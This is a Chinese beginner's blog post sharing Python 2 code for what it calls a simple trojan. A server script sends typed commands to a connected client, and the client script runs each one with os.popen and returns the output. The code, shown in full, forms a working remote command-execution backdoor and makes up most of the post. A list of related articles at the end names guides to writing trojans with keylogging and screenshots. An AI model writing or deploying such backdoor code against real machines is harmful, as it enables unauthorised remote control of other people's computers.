十一的晚上,平时都在写工作的代码,好久没有专门看一些知识了,感觉想刚开始学c一样,搞到半夜

还是《python网络编程基础》,写了小脚本,没有任何结构,一句一句的往下写的,反正是可以实现想法了

运行环境:python2

服务端

 #!/usr/bin/env python
# -*- coding:utf-8 -*-
"""
木马程序服务端
""" from socket import * host = ''
port = 34567 # 创建socket
sock = socket(AF_INET,SOCK_STREAM)
# 设置端口回收
sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
# 绑定ip和端口
sock.bind((host,port)) # 设置连接数量
sock.listen(1) print u"服务器已经开启\n\r端口号:%s" %port while 1:
# 等待连接
clientsock,clientaddr = sock.accept()
print u"[%s:%d]上线..." %(clientaddr[0],clientaddr[1])
# 发送数据
clientsock.send("hello...") while 1:
# 接收客户端返回
buf = clientsock.recv(2048 * 4)
if not len(buf):
break
else :
print buf
while 1:
# 输入命令
cmd = raw_input(">")
if not len(cmd):
continue try:
# 发送命令
clientsock.send(cmd.encode())
except Exception as e:
continue break

客户端

 #!/usr/bin/env python
# coding:utf-8 """
木马客户端
""" from socket import *
import os host = "127.0.0.1"
port = 34567 # 创建socket
sock = socket(AF_INET,SOCK_STREAM) try:
# 连接服务器
sock.connect((host,port))
except Exception as e:
print u"连接失败:%s" %e
exit() while 1:
# 接收命令
buf = sock.recv(1024)
filename = ''
# 对切换目录命令特殊处理
if buf[0:2] == 'cd':
buf = buf[3:]
os.chdir(buf)
cmd = os.popen('dir')
for str in cmd.readlines():
filename += str
else:
# 执行命令
cmd = os.popen(buf)
for str in cmd.readlines():
filename += str
if not filename:
filename = 'NO...' try:
# 将命令执行内容返回给服务器
sock.sendall(filename + "\r\n")
except Exception as e:
exit()

效果图

菜鸟献丑,大神指点

pyhton实现简单的木马程序的更多相关文章

  1. Atitit.病毒木马程序的感染 传播扩散 原理

    Atitit.病毒木马程序的感染 传播扩散 原理 1. 从木马的发展史考虑,木马可以分为四代 1 2. 木马有两大类,远程控制  vs  自我复制传播1 3. 自我复制2 3.1. 需要知道当前cpu ...

  2. 一次Linux服务器被入侵和删除木马程序的经历

    转载时请务必以超链接形式标明文章 原始出处 .作者信息和本声明.否则将追究法律责任.http://wzlinux.blog.51cto.com/8021085/1740113 一.背景 晚上看到有台服 ...

  3. Python编写简易木马程序(转载乌云)

    Python编写简易木马程序 light · 2015/01/26 10:07 0x00 准备 文章内容仅供学习研究.切勿用于非法用途! 这次我们使用Python编写一个具有键盘记录.截屏以及通信功能 ...

  4. node.js学习(三)简单的node程序&&模块简单使用&&commonJS规范&&深入理解模块原理

    一.一个简单的node程序 1.新建一个txt文件 2.修改后缀 修改之后会弹出这个,点击"是" 3.运行test.js 源文件 使用node.js运行之后的. 如果该路径下没有该 ...

  5. java基础学习02(简单的java程序)

    简单的java程序 一.完成的目标 1. 理解java程序的基本组成 2. 如何对程序代码进行注释 3. java标识符的命名规则 4. 了解java中的关键字 5. 使用java定义变量或声明变量 ...

  6. Socket编程实践(3) 多连接服务器实现与简单P2P聊天程序例程

    SO_REUSEADDR选项 在上一篇文章的最后我们贴出了一个简单的C/S通信的例程.在该例程序中,使用"Ctrl+c"结束通信后,服务器是无法立即重启的,如果尝试重启服务器,将被 ...

  7. Linux环境下部署完JDK后运行一个简单的Java程序

    前言 前一篇文章详细讲解了如何在Windows环境下安装虚拟机+Linux系统,并且成功部署了JDK. 不过部署完JDK之后,我们判断部署是否成功的依据是看"java -version&qu ...

  8. 编写一个简单的C++程序

    编写一个简单的C++程序 每个C++程序都包含一个或多个函数(function),其中一个必须命名为main.操作系统通过调用main来运行C++程序.下面是一个非常简单的main函数,它什么也不干, ...

  9. C#编写简单的聊天程序

    这是一篇基于Socket进行网络编程的入门文章,我对于网络编程的学习并不够深入,这篇文章是对于自己知识的一个巩固,同时希望能为初学的朋友提供一点参考.文章大体分为四个部分:程序的分析与设计.C#网络编 ...

随机推荐

  1. 封装一个MPermissionsActivity的思路和步骤

    http://blog.csdn.net/longkehuawei/article/details/53202804 第一步:检测所有的权限是否都已授权 /** * 检测所有的权限是否都已授权 * * ...

  2. Netty入门1之----认识Netty

      Netty 什么是Netty? Netty 是一个利用 Java 的高级网络的能力,隐藏其背后的复杂性而提供一个易于使用的 API 的客户端/服务器框架. Netty 是一个广泛使用的 Java ...

  3. java模拟post提交

    package javapost; import java.io.BufferedReader; import java.io.DataOutputStream; import java.io.IOE ...

  4. 如何一次性下载某个类库依赖的所有jar包"

    ** 经常碰到这种事情: ** 在一些非maven工程中(由于某种原因这种工程还是手工添加依赖的),需要用到某个新的类库(假设这个类库发布在maven库中),而这个类库又间接依赖很多其他类库,如果依赖 ...

  5. javascript模块化以及加载打包

    https://addyosmani.com/writing-modular-js/ 一些术语: 模块:可以理解为一个js文件,就像你以前需要import的那个文件一样:module不一定非要是一个外 ...

  6. What’s the difference between a stack and a heap?

    http://www.programmerinterview.com/index.php/data-structures/difference-between-stack-and-heap/ The ...

  7. Linux->Ubuntu下配置telnet环境

    1.首先查看telnet运行状态 netstat -a | grep telnet 输出为空,表示没有开启该服务 2.安装openbsd-inetd apt-get install openbsd-i ...

  8. 【Leetcode】【Medium】Remove Duplicates from Sorted List II

    Given a sorted linked list, delete all nodes that have duplicate numbers, leaving only distinct numb ...

  9. sql语句浅谈以及mysql遇到的问题解决见解

    mysql数据库基本操作: .显示数据库和查看mysql版本 show databases; select version(); select user();查看用户 .选择数据库 use 数据库名; ...

  10. 设计模式:备忘录(Memento)模式

    设计模式:备忘录(Memento)模式 一.前言   备忘录模式用于保存和恢复对象的状态,相信大家看过我前面的拙作就会想到原型模式也能保存一个对象在某一个时刻的状态,那么两者有何不同的呢?原型模式保存 ...